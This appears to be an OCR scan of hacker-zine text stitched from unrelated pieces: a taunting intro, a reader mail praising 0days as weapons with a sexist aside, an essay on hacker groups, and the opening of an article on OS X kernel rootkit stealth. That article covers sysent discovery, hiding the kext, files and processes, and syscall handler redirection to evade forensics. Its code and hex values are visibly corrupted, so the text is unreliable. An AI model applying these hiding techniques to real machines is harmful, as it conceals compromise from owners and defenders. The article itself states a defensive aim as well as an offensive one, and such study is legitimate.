Your enemy are the skids. Kill the skids by overdosing them. Taunt them. 
But you must first give them the opportunity to kill their ego. For the 
best hackers k https://www.youtube.com/watch?v=S0OJfwiHjVIg [F9] [F9] [F9] 


u mad bro[F9] [F9] [F9] [F9] [F9] [F9] [F9] [F9] [F9] [F9] 
Hehe. Good. :) 


For the best hackers have killed their egos. All that’s left is the id... 
and the superego. 


More powerful than a white-hat! 

Faster than a screaming zero-day! 

Mom didn’t watch much SuperMan... but you get the point. :) 

The hacker community is so very diverse and wonderful. And it’s all because 
the true tinkerers of this community ahve found a variety of ways to 


slaughter egos. Those egos that can’t be killed with kindness and through 
coersion? Well... you’ve read ZFO. 


I’d like to remix something for you: 


http://teacher.scholastic.com/activities/immigration 
timeline_photos/1892_small_fullsize.jpg 


>>> Give us your packers, your crackers, your exploit authors and strange 
>>> artists, your Jolt-chugging CTF players competing just to play. The 
>>> Mr. The Plagues spreading the plagues of their obfuscated payloads. 
>>> Kill these, your egos, the tempest-noise of your science, we bite our 
>>> thumb at thee who does not see my children are brilliant. And deserve 
>>> steak. 


Kill the skids. And ask your local kids: who the fuck are dids? For they 
are tit-for-tat and one in the same rhythym.. 


Shouts: Fuck shouts. This is for all of you. :) 
Haters: I love you. Refute me with your wicked science. 
Closing notes: 


WATCH 


MISTER 


ROBOT 


VERY 


CLOSELY 


Take note of the inconsistencies. They’re fun. Like... well. :) 
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First: https://www.youtube.com/watch?v=Wru2aDvmpT0 


In conclusion: https://www.youtube.com/watch?v=zAB5AC9yhY0 


And: https://www.youtube.com/watch?v=D9R£fSYOFKDO 


Ellipses. 


====MOM FROM MESSAGE BEGIN==== 


[>> >>> >> >>> >> >>> >>> >>> >>> >>> > > > > DD DD DD DDD D> D> D> D> D> DDD DDD DDD DDD >>> > >>> >>> >>> >>>] 
|--=[ 0x03 - The PO mailz ] 
[<<< << KK KK KK KK KK KK KK KK KK KK KK KK KK KK KK KK KK KK KK KKK KK KK KK KK KK KK KK KK <<] 


[ We received a lot of mails related to PO. Not sure why, we have 
nothing to do with them. We publish one of them here. ] 


From: patagonico 
Subject: PO 


I think this can be separated in two parts: Tech and non-tech 

Technical: Finding bugs in a huge codebase that is 20 year old is moot. 
It’s like giving the proverbial fish. The codebase will always stay 
hungry, and buggy. You needed to teach the developers to fish bugs, 20 
years ago. Software protections and automatic tools help, but you cannot 
protect for logical flaws or injections. Also, for each bug you find, 
devs introduce 1000. Bug hunters will be always outnumbered. 


Non-tech: Moral high horse of good hackers is a physiological 
testosterone-induced illusion whose main objective is to establish a 
dominance hierarchy and help you have sex and pass your genes. It does 
not work. There are no girls in infosec. The girls in infosec are men. 
It is good or bad to report bugs? time will tell. Too a complex system 
to make any predictions now. It might be better to live in a world where 
weapons are outdated and countries attack each other with Odays. You see 
what a bomb does to a kindergarten? Odays do not do that. Odays are 
elegant weapons, for a more civilized age. 
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==-[ -0 = Intro 


The earlier, bigger part of hacking history often had congregations as 
protagonists. From CCC in the early 80s to TESO in the 2000s, through LoD, 
MoD, cDc, LOpht, and the many other sung and unsung teams of hacker heroes, 
our culture was created, shaped, and immortalized by their articles, tools, 
and actions. 


This article discusses why recently we do not see many hacker groups 
anymore, and why the ones we do, such as Anonymous and its satellite 
efforts, do not succeed in having the same cultural impact as their 
forefathers. 


--[ 1 - Background 

Hacking is, in its very essence, an underground movement. Those who take 
part on it have always been the ones who (ab)used technology in ways beyond 
the knowledge of the larger userbase. It is tightly linked to intense 
efforts in unveiling previously unknown information as well as in sharing 
these discoveries. These premises hold true for as long as we know hackers: 
since computers had barely no users up until the informatic massification 
of today. 


The nature of the hacker interests intrinsically poses difficulties: 
growing knowledge on anything is hard. It requires heavy research, 
experimentation, and can turn into an endless journey if objectives are not 
carefully set. Just like in any field of scientific studies, it calls fora 
good amount of colaboration, an attitude which, luckily for hackers, was 
greatly enabled by the advent of computer networks and, most notably, the 
Internet. 


Computer networks increasingly made it possible to transmit unlimited and 
uncensored information across their geographical extent with little effort, 
with little costs, and in virtually no time. From the communication 
development standpoint, one would expect that the events that followed the 
80s to our days would lead to a geometric progression in the number of 
hacker communities. In effect, hacking has arguably grown. Hacker 
communities, definitely not. So what went wrong? 


--[ 2 - Nowadays 


We live in days of limited creativity. Moreover, as contraditory as it may 
seem, it looks particularly rare for creativity to arise from groups or 
teams. Communities, rather than individuals, should be more intellectually 
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empowered to create, but lately we have been watching the force of the 
solo, the age of the ego. That, of course, when we do s anything that 
catches our attention for originality, which is an ever scarcer pleasure. 


In "Time Wars" [1], Mark Fisher explains that post-fordism has taken us to 
this catatonic inability to innovate. Our nearly obsessive compulsion for 
work consumes not only our time, in the literal form of labor hours, but 
our minds, by distracting us from everything else we could be doing 
otherwise. These distractions include our unceasing connection to ubiquous 
media (e.g. the frequent checks for new e-mail, or accesses to social 
networks on mobile devices) as well as an increased concern with financial 
stability and provisioning, a concern that grows as welfare is invariably 
trimmed by both the governments and the private sector. 


It is important to note that our capitalist worries are more deeply rooted 
in us than might seem at first, even in the most politically diverse 
people. Supporting oneself is not easy, it does not come for free. Getting 
some education, finding a job, staying up-to-date... regardless of what 
your aspirations are, whatever you feel obliged to do is probably a lot, 
already. And it likely involves a prevalence of "minding your own 
business". 


The unsettlement created in our thoughts affects intellectual solidarity in 
ven more severe ways than it does individual creation. Simply put, if it 
is already so difficult for one person to focus away from these 
"distractions" and into inspired productivity, let alone for a group to 
join in a true collective mind. The ties that bind collective-minded 
parties together take dedication to build, and our egotistical concerns do 
not help (s note "A"). Not only is commitment required for the actual 
work to be accomplished, but also to identify the shared values and goals 
that enable true human connectivity. 


Notice this does not concern _collaboration_ as much as it does 
_collectiveness_. Collaboration typically breaks down the creative process 
in a way it can be incrementally achieved with very self-sufficient, 
individualistic contributions. Such is the case in most open-source 
software projects. Roles are very well segregated so that a minimum of 
human integration is required, as far as most modern software development 
processes go, anyway. A true "hive mind" [2] cannot exist without the 
support from a stronger, more unisonant cognitive bond. Funny enough, the 
popular variants of LOIC, the DDoS tool used by "Anonymous", contain a 


"hive mind" feature (i.e. getting a target automatically from a given IRC 
server and channel and firing your packets against it). You wish it was 
that easy. 


The concept of the "conscience collective" was first established by Emile 
Durkheim who, in his 1893 book "The Division of Labor in Society", 
expressed ‘’that the more primitive societies are, the more resemblances 
(particularly as reflected in primitive religion) there are among the 
individuals who compose them; inversely, the more civilized a people, th 
more easily distinguishable its individual members’, as put by R. Alun 
Jones [3 


Well, following (or despite) the prosperous adoption of atheism and 
agnosticism as professed in the Internet and other popular media, it is 
understood that religious beliefs are in a low, taking a bit of what 
socities traditionally saw as a point of unity. In fact, there seems to be 
an ever growing search for uniqueness in the modern man, especially that 
from the apparently overpopulated metropolises (see note "B"). In this 
never-ending crowd of interesting, outstanding personas, we want to shine 
somehow, to prove ourselves different and original. In the end, it turns 
into a pointless battle, against God-knows-who, for apparent singularity. 
Instead of reaching for the fellow man, we want to set ourselves apart, and 
thus, remarkable. 


-—-[ 3 - Conclusion 
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Modern life nearly conspires against the collective. We are tormented by a 
relentless flow of information as well as the daily worries of an eternally 
insecure, unwarranted life. Furthermore, we dread the thought of being 
alike, of sharing multiple views and opinions. As such, we are turning 
progressively judgemental of who we should be partnering with, on the basis 
that "they do not understand". In hacking, it yet implicates on the 

delicate subject of trust, which would require an essay on itself, given 
the undeniable importance the matter has acquired over the years. 


If our thoughts on creating hacker groups were to be summarized, this is 
how they would look: No one ever feels like we do. They are not to be 
trusted and we do not have the time for them. The only attitude consonant 
to our search for a comfortable, safe life is to constrain ourselves to our 
own limitations, ignore the intelligent life out there, and surrender to 
the mediocracy that our society has condemned our leisure time to. 


--[ 4 - Shouts 


My only acknowledgements go to whoever reads this through and puts his/her 
thoughts to it. I eagerly await for your comments. 


5 References 


[1] "Time Wars", Mark Fisher - http://www.gonzocircus.com/xtrpgs/ 
incubate-special-exclusiv ssay-time-wars-by-mark-fisher/ 
[2] "Collective Consciousness", Wikipedia - 


http://en.wikipedia.org/wiki/Collective_consciousness 
[3] Excerpt of "Emile Durkheim: An Introduction to Four Major Works", 
Robert Alun Jones - http://durkheim.uchicago.edu/Summaries/dl.html 


-—-[ 6 - Notes 


A) In respect to social networks, while they are a valid community-building 
mechanism in nature, selfishness prevails in common usage, by means of the 
indulgent pleasure that fuels chronic "pluggedness", at times voyeur, at 
times exhibitionist and needy. 


B) It is arguably the case, though, that the globalizing aspect of the 
Internet has brought the feeling of upsetting commonality to the citizens 
of even the more unpopulated places. 
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--{ 1 - Introduction 


In Phrack #66, ghalen and wowie wrote about interesting OS X kernel 
rootkit techniques. That article is almost 4 years old and 4 major OS X 
releases behind. Today Mountain Lion is king and many of the presented 
techniques are not valid anymor Apple reacted and closed those "holes". 


One hand is enough to count the number of known rootkits targetting 
Apple’s OS. The most recent public release was Rubylin [2], a simple 
rootkit that works with Lion (v10.7) (if you can read Korean there is 
a very interesting memory forensics analysis at [3]). 


The commercial spyware industry recently leaked DaVinci (aka OS.X/Crisis), 
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a user/kernel rootkit with some interesting features and flaws [4]. There 
are rumours about FinFisher but no OS X leak happened yet. Everything 
else is too old and outdated. 


The main goal of this article is to update public knowledge and 
introduce some "new" techniques so both offensive and defensive sides 
can improve. It is focused on the current version at the time of this 
writing, Mountain Lion, vl0.8.2. 


The defensive knowledge and available tools are still poor. I hope 
this article motivates others to invest time and resources to improve 
this scenario. It is quite certain that the offensive knowledge is 
Significantly ahead. 


I tried to make this article as complete as possible but there is so 

much to work to be done that it is a never-ending story. Some of the 

proposed solutions can be improved or implemented in different and/or 
better ways. You are encouraged to improve or develop new approaches 

and of course publish them. I also like to learn from others ;-) 


I hope you enjoy this (long) journey. 
fG! 


--[ 2 - The classic problems 


This section starts by introducing important changes made since Tiger. 
Then it discusses the old sysent retrieval techniques and their problems, 
and presents a solution compatible with past, current, and future OS 

X versions. 


It continues with improvements to classic rootkit features hide and 
avoid (easy) detection. It must be noticed that these were developed 
before the in-kernel symbol resolution technique to be presented later, 

so they might appear a bit unsophisticated. I think there is value in this 
knowledge and that is why it is described under the original conditions. 


----[ 2.1 - What is new since Tiger 


The easiest and many favourite’s spot to hook the system calls is the 
sysent table - just replace a pointer and we are set. Apple has been 
improving the defence of that "castle" by hiding the sysent table symbol 
and moving its location. 


In Mountain Lion the table is now located in read-only memory (not a 
big problem anyway). Syscall hijacking techniques like these can be 
e 
a 


asily found with basic analysis tools, but they are still interesting 
nd useful for other purposes as to be shown later. 


Another important change is that the kernel module list (kmod_info_t) is 
deprecated. Before, the kernel extension rootkit could be easily hidden 
from kextstat by manipulating this list. Now we must patch an I/O Kit 
OSArray class called sLoadedKexts to hide from tools that list loaded 
kernel extensions. Snare was the first to publicly discuss this issue, 
and the commercial spyware OS.X/Crisis the first (afaik) to implement 
it. Its technique will be later described. 


Mountain Lion finally introduced kernel ASLR. It might be harder to 
develop and execute the necessary exploit to install the rootkit but 
after that it is (mostly) business as usual. 


Up to Snow Leopard, Apple removed the symbol table from the kernel space 
so there was no easy way to solve non-exported symbols inside the kernel 
extension or I/O Kit driver. This was changed in Lion by leaving the full 
__LINKEDIT segment in kernel memory but marked as pageable. Snare shows 
this in one of his posts [5] and rubilyn rootkit uses it. Beware that 

the formula they use has a small problem - it assumes that the symbol 
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table is located at the beginning of __LINKEDIT. This is true in Lion 
but not in Mountain Lion. 


I will show you how a solution that is stable, simple, and compatible 
with all OS X versions. Too good to be true! :-) 


----[ 2.2 - Sysent table discovery techniques 


As described in Phrack 66 article, Landon Fuller [6] was first to come 
public with a technique to solve the removal of exported sysent symbol. 
His technique is based on the distance between the (still) exported 
nsysent symbol (the number of entries in the sysent table, aka, number 
of syscalls) and sysent. The problem with this approach is that Apple 
can move the location of sysent between releases offsets will change 
and the rootkit will fail and expose itself. Not acceptable! 


Lets illustrate this with an example, starting with Mountain Lion 10.8.2: 


S$ nm /mach_kernel | grep nsysent 
FFFfff8000839818 D _nsysent 


The location of sysent can be found by disassembling the kernel and 
using one of the three functions that reference it: 


—- unix_syscall 
—- unix_syscall64 
—- unix_syscall_return 


For 10.8.2 the sysent pointer will be located at OxFFFFFF80008000D0 
and the table located at OxFFFFFF8000855840. Landon’s formula does not 
apply here. 


In Lion 10.7.5 we have: 


S$ nm mach_kernel_10_7_5 | grep nsysent 
ffffffs8000846ed8 D _nsysent 
And sysent located at OxFFFFFF8000842A40. 


This confirms Apple moving around the pointer between different 

releases. Notice that all previous values are from kernel at disk so no 
kernel ASLR slide is included. The slide value will be disclosed whenever 
it is being used in the examples. 


Another technique is described in The Mac Hacker’s Handbook [7], released 
in 2009 and targeting Leopard. 


On page 332 there is a code snippet that searches memory for "something 
that has the same structure as the sysent table.". The starting search 
point is the nsysent symbol, increasing the memory pointer to lookup 
and match sysent array elements. 


That code snippet does not work with Snow Leopard because sysent array 
is located before nsysent symbol. It must be modified to support specific 
versions and releases. 


These different examples demonstrate that Apple changes sysent location 
between releases. A stable rootkit requires an universal technique. 


The second technique can be adapted to cover all cases. First we would 
scan memory addresses above nsysent and then below if initial search 
failed. If nsysent also stops being exported we would need to base the 
search in another symbol and continue the cat & mouse game. 


[The reference symbol problem can be easily solved using a feature of 
x86 systems, the interrupt descriptor table (IDT). The IDT "is used 
by the processor to determine the correct response to interrupts and 
exceptions." [8]. The traditional implementation of syscalls is done via 
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interrupt 80. The response to this interrupt will be executed by a kernel 
function pointed to by the IDT. IDT’s location can be obtained using the 
asm instruction "sidt" (store interrupt descriptor table register). It 
returns the table location so the next step is to find out the address 
of the interrupt 80 handler. 


Once we have the interrupt 80 handler address we can find out the 

base address of the kernel. Kernel ASLR does not matter here becaus 
the handler address is always a valid kernel code location - we are 
dynamically querying the system and not using fixed addresses. To find 
t 

t 

( 


he kernel base address is just a matter of searching memory back for 
he magic value of the Mach-O header Oxfeedfacf (64 bits) or Oxfeedface 
32 bits). 


One (curious) property of kernel ASLR implementation is that memory 
addresses in kernel and kexts Mach-O headers already contain the ASLR 
slide, something that does not happen in userland ASLR’ed binaries. The 
header in userland binaries is never updated so it is not synced with 
the address where the binary is loaded at. 


The next step is to process the Mach-O headers and find out where the 

__DATA segment is located. The reason for this is that the sysent table 
is located in ther we need to extract segment’s start address and 
boundaries. Now it is just a matter of searching memory for something 
that matches the sysent table. 


Are there any performance problems doing things like this? The sysent 
location is found in less than a second even on a 5 year old Core 2 Duo 
Macbook Pro. The performance impact can be considered meaningless. 


[This method was applied successfully when the first Mountain Lion 
developer preview became available and still works up to 10.8.2. 


You can find its implementation in the included source code at the end. 
A userland version that uses /dev/kmem to extract the same information 
is available at [9]. 


What is the difference against using any other exported symbol instead 
of all the trouble with the interrupt handler? Honestly, it is just a 
matter of personal preference and technical "prowess". A symbol that 
breaks compatibility if removed could be used instead with very low risk 
of Apple changing it. Later, we will need to use at least one KPI so 
almost any symbol from it can be used as search’s starting point. 


Another solution is to use one MSR register involved in the SYSCALL 
instruction. A good candidate is the MSR register number 0xC0000082 
(MSR_IA32_LSTAR), which contains the SYSCALL entrypoint. 


One way to get its value in 64 bits is the following (ripped from XNU): 


#define rdmsr(msr,lo,hi) \ 
_—_asm__ volatile("rdmsr" : "=a" (lo), "=d" (hi) : "c" (msr) ) 


static inline uint64_t rdmsr64(uint32_t msr) 
{ 

uint32_t lo=0, hi=0; 

rdmsr(msr, lo, hi); 

return (((uint64_t)hi) << 32) | ((uint64_t)lo); 
} 


Calling rdmsr64(0xC0000082) will return the kernel address that will 
handle 64 bits syscalls via the SYSCALL interface. The register number 
Ox176 (MSR_IA32_SYSENTER_EIP) is the one we are interested at for 32 
bits systems - it is used for 32 bits syscalls via SYSENTER. 


These are just a few possibilities to retrieve a valid address inside 
the running kernel and then find the start address of the kernel Mach-O 
header and sysent location. The location of the Mach-O header will be 
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useful to compute the kernel ASLR value (the slide is stored in a kernel 
variable but its symbol is not exported!). 


----[ 2.3 - Hiding the kext 


As mentioned before, the kernel module list is deprecated in favor of a 
IOKit OSArray class called sLoadedKexts. This introduces a new problem: 
how to find its location since we are talking about IOKIT C++. The 
OS.X/Crisis spyware implemented an interesting solution. It leverages 

a simple IOKit method that references sLoadedKexts to find the object 
location. 


The method is OSKext::lookupKextWithLoadTag [libkern/ct+/OSKext.cpp]: 


OSKext * OSKext::lookupKextWithLoadTag(uint32_t aTag) 


OSKext * foundKext = NULL; // returned 
uInt32t count; 1; 


TORecursiveLockLock (sKextLock) ; 


count = sLoadedKexts-—>getCount(); <- use this location, for example 
for (i = 0; i < count; itt) { 
OSKext * thisKext = OSDynamicCast (OSKext, 
sLoadedKexts-—>getObject (i)); 
if (thisKext-—>getLoadTag() == aTag) { 
foundKext = thisKext; 
foundKext->retain(); 
goto finish; 


} 

finish: 
TORecursiveLockUnlock (sKextLock) ; 
return foundKext; 


} 


There is no symbol resolution feature inside the Crisis kernel rootkit 
-— the symbol (__ZN60SKext21llookupKextWithLoadTagEj) is solved by the 
userland component and sent to the rootkit module via a sysctl. The 
function that hides the rootkit starts by searching for the O0xE8 byte 
corresponding to the IORecursiveLockLock() call. All searches are don 
using hex patterns. It then uses fixed offsets to compute the location 
of the array and modify it. The provided source code reimplements 

this technique. 


The search could be made easier (and portable?) by disassembling this 
method. The good news is that we can have a x86/x64 disassembler inside 
a kernel extension thanks to diStorm [19] (other libraries probably 
work but I’m a fan of diStorm, in particular after the introduction of 
the decompose interface). To statically compile diStorm just import the 
source and include files into your rootkit project. You also need to 
define SUPPORT_64BIT_OFFSET or uncomment it at config.h. 


Assuming we have no method to find kernel symbols inside the rootkit 
(this will be later developed), we can use the disassembling engine 

to try to find the functions or methods that we are interested in. The 
whole __text section can be disassembled and searched for instruction 
patterns that are hopefully more stable than hex patterns. 


Testing this approach I was able to find the method referenced above with 
a precision of 100% or 50%. The different rates depend on how strict are 
the search parameters due to some differences between compiler output in 
kernel versions. I’m talking about the number of calls, jmps, jnz, jae, 
which have small variations between some versions (compiler upgrades, 
settings, etc). The performance is amazing - it takes 1 second to 
disassemble and search the whole kernel using a high-end Intel i7 cpu. 
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The main problem of Crisis’s approach is that it depends on fixed offsets 
inside the OSArray class. If anything changes it will break compatibility 
and potentially crash or expose the rootkit. 


Disassembling the kernel is useful to find patterns and leveraging them 
in different cases. It is not perfect and does not solve all our problems 
but it is another helpful tool. 


----[ 2.4 - Hiding files 
Files are hidden by modifying (at least) three different syscalls: 


getdirentries, getdirentriesattr, and getdirentries64. Nothing new and 
thoroughly described befor 


What usually happens is that only the filename is matched - that is the 
information directly available from the structures available in those 
three syscalls. This means that a filename to be hidden will be matched 
af 

i 

t 


n any folder, something that can raise suspicion if a common filename 
s used. With a small effort we can do better and learn something in 
he process. 


Let’s find out how to recover additional information to match specific 
file or folder locations. Target function is getdirentries64 but the 
concepts apply to the other two. 


The structure that is commonly manipulated is: 


struct direntry { 
_—uint64_t d_ino; /* file number of entry */ 
—uint64_t d_seekoff; /* seek offset (optional, used by servers) */ 
—uintl6_t d_reclen; /* length of this record */ 
_—_uint1l6_t d_namlen; /* length of string in d_name */ 
uint8_t d_type; /* file type, s below */ 


char d_name[__DARWIN_MAXPATHLEN]; /*entry name (up to MAXPATHLEN bytes) */ 


} 


The match is done against the field d_name, which only contains the 
current file or folder without the full path. This is the reason why 
most implementations only match the file anywhere in the filesystem. 


Luckily for us, all syscalls functions prototypes contain the proc 
structure as the first parameter. It contains enough information to 
match the full pathname. 


struct proc { 


Cena.) 


struct filedesc *p_fd; /* Ptr to open files structure. */ 
Gaee) 
} 


struct filedesc { 


struct fileproc **fd_ofiles; /* file structures for open files */ 
char *fd_ofileflags; /* per-process open file flags */ 
struct vnode *fd_cdir; /* current directory */ 

struct vnode *fd_rdir; /* root directory */ 

int fd_nfiles; /* number of open files allocated */ 
int fd_lastfile; /* high-water mark of fd_ofiles */ 


(aes) 
}; 


For example, to display all the open files by an arbitrary process 
calling getdirentries64, we could use the following code: 


void show_all_openfiles (struct proc *p) 


{ 


// lock proc structur lse we are asking for trouble 
(*proc_fdlock) (p); 
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struct filedesc *fd = p->p_fd; 
if (fd != NULL) 
{ 
// for some reason fd_nfiles is not useful for this 
int lastfile = fd->fd_lastfile; 
// show all open files for this proc 
for (int count = 0; count < lastfile; count+t) 


{ 


// fd_ofiles is an array of fileproc that contains file structs 
// for all open files 
struct fileproc *fp = fd->fd_ofiles[count]; 
// we are only interested in files so match fg_type field 
if (fp != NULL && 
fp->f_fglob != NULL && 
f£p->f_fglob->fg_type == DTYPE_VNODE) 


// lock the vnode - fg_data cast depends on fg_type 
// type is vnode so we know fg_data will point to a vnode_t 
(*vnode_lock) ((struct vnode*) fp->f_fglob->fg_data) ; 


struct vnode *vn = (struct vnode*) fp->f_fglob->fg_data; 
if (vn->v_name != NULL) 
{ 

printf("{%d] Filename: %s\n", count, vn->v_name) ; 


} 
(*vnode_unlock) ((struct vnode*) fp->f_fglob->fg_data) ; 


} 
} 
(*proc_fdunlock) (p); 
} 


The files listed by this function are not the files we want to hide but 
the files opened by the binary calling this syscall. This information 
can be used, for example, to find the path that a "ls" command is trying 
to list. The full path can be extracted manually by iterating over the 
vnodes of each file, or by using a KPI function (vn_getpath). 


To build the path from vnodes, first we retrieve the vnode structure 
correspondent to the file and then iterate over up to the filesystem 
root - each vnode has a reference to its parent vnode. 


struct vnode { 

oe) 
const char *v_name; /* name component of the vnode */ 
vnode_t v_parent; /* pointer to parent vnode */ 


(2 d53) 


Each path component can be sequentially matched until v_parent == NULLVP, 
which means the filesystem root. If path matches what we want to hide 
then it is a matter of removing that entry from direntry array as usual. 


To find the folder or file being listed we can use the following trick, 
which seems to hold true: 


int lastfile = main_fd->fd_lastfile; 
// lastfile has the information we are looking for 
struct fileproc *last_fp = main_fd->fd_ofiles[lastfile]; 


The only word of caution is when shell expansion is involved. In this case 
last file entry name will be a "ttys" and we need to iterate fd_ofiles 
array looking for the previous element to "ttys" - it is not lastfile-1. 


It looks complicated but it is not and just a matter of looking up 
the necessary information in kernel structures. The proc structure is 
extremely rich and a good starting point for many hacks. The biggest 
problem is being frequently changed between major OS X versions. 
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With so many kernel functions available it is almost certain there is 
already a function that will avoid us to build the path as described 
above. That function is vn_getpath() from bsd/sys/vnode.h. 


es 

@function vn_getpath 

@abstract Construct the path to a vnode. 

@discussion Paths to vnodes are not always straightforward: a file with 
multiple hard-links will have multiple pathnames, and it is sometimes 
impossible to determine a vnode’s full path. vn_getpath() will not enter 
the filesystem. 

@param vp The vnode whose path to obtain. 
@param pathbuf Destination for pathname; should be of size MAXPATHLEN 
@param len Destination for length of resulting path string. Result will 
include NULL-terminator in count--that is, "len" 

will be strlen(pathbuf) + 1. 

@return 0 for success or an error code. 

*/ 


int vn_getpath(struct vnode *vp, char *pathbuf, int *len); 


We still need to retrieve a vnode from the proc structure to use this 
function. To find the vnode we can use the lastfile trick to find the 
target path, retrieve its vnode and then use this function to get the 
full path. 


A better solution is to hide your data inside other data files that 
can’t be easily checksum’ed. Sqlite3 databases come to my mind [35]. 


----[ 2.5 - Hiding processes 


7 


The traditional way to hide processes is to remove them from the process 
list maintained by the kernel. When an application requests the process 
list, the rootkit intercepts and modifies the request. In this case, 
only the results are modified and the underlying structures are still 
intact. A rootkit detection tool can access those structures and compare 
with the results. 


nother possibility is to remove the processes from the process list. This 
ime a tool that is based on those structures information will not be 

ble to detect the inconsistency because there is none (regarding only 

he proc list, because there is data in other structures that can be 

used to signal inconsistencies). 


toct pb 


Due to OS X design, things are a bit more fun (or complicated) because 
the BSD layer runs on top of XNU layer. The basic process units are Mach 
tasks and threads and there’s a one-on-one mapping between BSD processes 
and Mach tasks. The task is just a container and Mach threads are the 
units that execute code. What matters for this case is that there is 

an additional list where inconsistencies can be detected the Mach 
tasks list. Using an ascii version of nofate’s diagram found at [3]: 


proc <-> proc <-> proc <-> 
A A A BSD 


| | | 
Vv Vv Vv Mach 
tasks <-> tasks <-> tasks <-> 


The version with a hidden process at the BSD layer: 


POG <--—-se- sc Se > Proc <-> 

* % % BSD 
| | | 

Vv Vv Vv Mach 


tasks <-> tasks <-> tasks <-> 


Each BSD process has reference to the Mach tasks list via a void pointer 
and vice-versa. Transversing both lists can detect the inconsistency 
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described above and most certainly flag an installed rootkit (it is 
possible to have a Mach task without a corresponding BSD process). 


struct proc { 
Ga -2) 
void *task; /* corresponding task (static) */ 
Gee.) 
} 


struct task { 
(ears) 
void *bsd_info; /* the corresponding proc_t */ 
arene) 
} 


The (not so new) lesson to extract from this is that there many points to 
be used for detecting inconsistencies in the system. These are hard to 
hide if the goal is to hide one or more rogue processes. A much better 
solution is to piggyback into normal processes, where detection is a 

bit harder - it can be a normal process with an extra thread running 

for example. The piggyback solution will be used later to run userland 
commands from the kernel. 


----[ 2.6 - Modifying the syscall handler 


A common technique to hide modifications to syscall table is to make a 
copy and modify the syscall handler to point to this new one. Rootkit 
detection utils that just verify the *legit* table are unable to detect 
it. There’s nothing new about this technique although I have never seen it 
in use in OS X. It is a good opportunity to describe how to implement it. 


The interrupt 0x80 is handled by the assembly function 
idt64_unix_scall [osfmk/x86_64/idt64.s]. The IDT table definition 
[osfmk/x86_64/idt_table.h] confirms this and can be runtime verified by 
querying the IDT and extracting the address of int80 handler. 


USER_TRAP_SPC (0x80,idt64_unix_scall) 


Follow the idt64_unix_scall assembler code. The switch to C happens 

when unix_syscall[64] function is called, both for interrupt 0x80 and 
sysenter/systrap system calls. This code path opens many opportunities 

to change pointers, or install trampolines and redirect code to rootkit’s 
implementation. 


One such possibility is to change the table pointer inside 
unix_syscall[64]. This is sample code from the 64 bits version: 


GsSeceil) 
code = regs->rax & SYSCALL_NUMBER_MASK; 
DEBUG_KPRINT_SYSCALL_UNIX ( 
"unix_syscall64: code=%d(%s) rip=%l11lx\n", 


code, syscallnames[code >= NUM_SYSENT ? 63 : code], regs->isf.rip); 
callp = (code >= NUM_SYSENT) ? &sysent[63] : &sysent[code]; 
uargp = (void *) (&regs->rdi) ; 
Gite) 
AUDIT_SYSCALL_ENTER(code, p, uthread); 
error = (*(callp->sy_call)) ((void *) p, uargp, & (uthread->uu_rval[0])); 
AUDIT_SYSCALL_EXIT (code, p, uthread, error); 


(...) 


Disassembly output (here I renamed memory references in IDA since they 
have no symbols associated): 


loc_FFFFFF80005E169C: 

4c 03 2D 2D EA 21 00 add r13, cs:sysent 

4C 3B 2D 26 EA 21 00 cmp r13, cs:sysent 

74 OB FZ short loc_FFFFFF80005E16B7 
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The sysent reference is to: 


__DATA:__got:FFFFFF80008000D0 40 58 85 00 80 FF FF FF sysent dq offset 
sysent_table 


To directly find the location of sysent in the __got section is very 

easy. Find out the location of sysent table using one of the section 2 
techniques (or some other) and then search the __got section for that 
address (to find the location and boundaries of __got section we just 


need to read kernel’s Mach-O header). 
The easiest way to redirect sysent is to modify that pointer to our 
modified copy. A (memory) forensic tool that (only) searches for and 
lookups the original sysent table will fail to detect this and the next 
trick. For example, Volafox v0.8 is vulnerable. Volatility’s Mac version 
at the time of writing has yet no sysent plugin available. 


Another way is to modify the code reference to __got section and instead 
point it to somewhere else. This is very easy to implement with diStorm’s 
assistance. 


Disassemble the unix_syscall[64] functions and lookup for references to 

__ got address. The instructions that need to be matched are ADD and CMP 
(this assumption appears to hold always true). To calculate the RIP target 
address, diStorm has a helper macro called INSTRUCTION_GET_RIP_TARGET() . 
If the RIP address matches the __got address the offset can be updated. 
Calculate the offset to the address that contains the pointer to the 

new table and update it at the instruction that referenced the old 

__ got pointer. 


One last (important!) detail. RIP addressing uses a 32 bits offset, 
which appears to be enough to reference the new sysent (dynamically or 
statically allocated) in most cases. This might not always be true - 
from my experience the distance is very near the signed int limit. 


One way to make this safer is to put the pointer in kernel’s memory 
space. This can be alignment space, Mach-O header (for the lulz!), or 
somewhere else (it is just a data pointer so no need for exec permission). 


--[ 3 - Reading the filesystem from kernel land 


Now let’s get going with the fun stuff that opens the door to even 
funnier stuff! 


One of the annoying obstacles that Apple introduced against development 
of rootkits is the lack of kernel’s full __LINKEDIT segment up to Snow 
Leopard. Useful symbols for rootkit development are also not exported. No 
one said rootkit development was easy - fun but not always easy. 


Possible solutions are to solve the symbols from userland, and pattern 
search from the kext - this one easily susceptible to failure due to 
changing patterns in kernel versions and compilers. 


For example, OS.X/Crisis spyware adopts a mixed approach. Most symbols 
are solved from the userland agent and communicated thru a character 
device to the rootkit, but sLoadedKexts is solved with byte search - 
starting point is still a symbol solved from userland. 


The easiest solution to this problem is to read the kernel fil 
(/mach_kernel) from the rootkit and process the symbol table, as it is 
done from userland. The extracted addresses need to be fixed with the 
kernel ASLR slide but that is easily bypassed as described in section 2.2. 


As far as I know no publicly known OS X rootkit ever implemented arbitrary 
filesystem read, and probably very few to none in other platforms (TDSS 
being the most famous in Windows). There is some kind of myth about the 


7.txt Wed Apr 26 09:43:48 2017 11 


difficulty of implementing this or something else that made rootkits 
developers avoid it. I must confess I was influenced by that "myth" 
and never bothered to give it a try before this article. 


In practice the implementation is extremely easy! Sometimes you just 
need to be in the right mood and give it a try. 


Two methods will be shown, one very easy based on exported symbols (and 

a copy of a very stable privat xtern kernel function), and another a 
bit more complex that requires some unexported symbols. Both are based in 
VFS -— the obvious and easiest way to achieve our goal. Other functions 
can be used so many variations are possible. That is left open for you 

to explore, I still have a lot to write about in this paper :-) 


----[ 3.1 - Real short overview of VFS 


The Virtual-Filesystem Interface was introduced in 4.4BSD and first 
implemented by Sun Microsystems. Before this innovation file entries 
directly referenced filesystem inodes. This method does not scale well 
if there’s more than a filesystem type. 


VFS is an additional extensible object-oriented layer that introduces 

an abstraction of the underlying filesystem, making it easy to support 
multiple filesystems. Instead of inodes there are vnodes. There is no 
need to deal with the intricacies of multiple filesystems we can use 
the VFS related functions and let the kernel do the filesystem operations 
"dirtywork". 


The most interesting VFS related structures to our purposes are: 

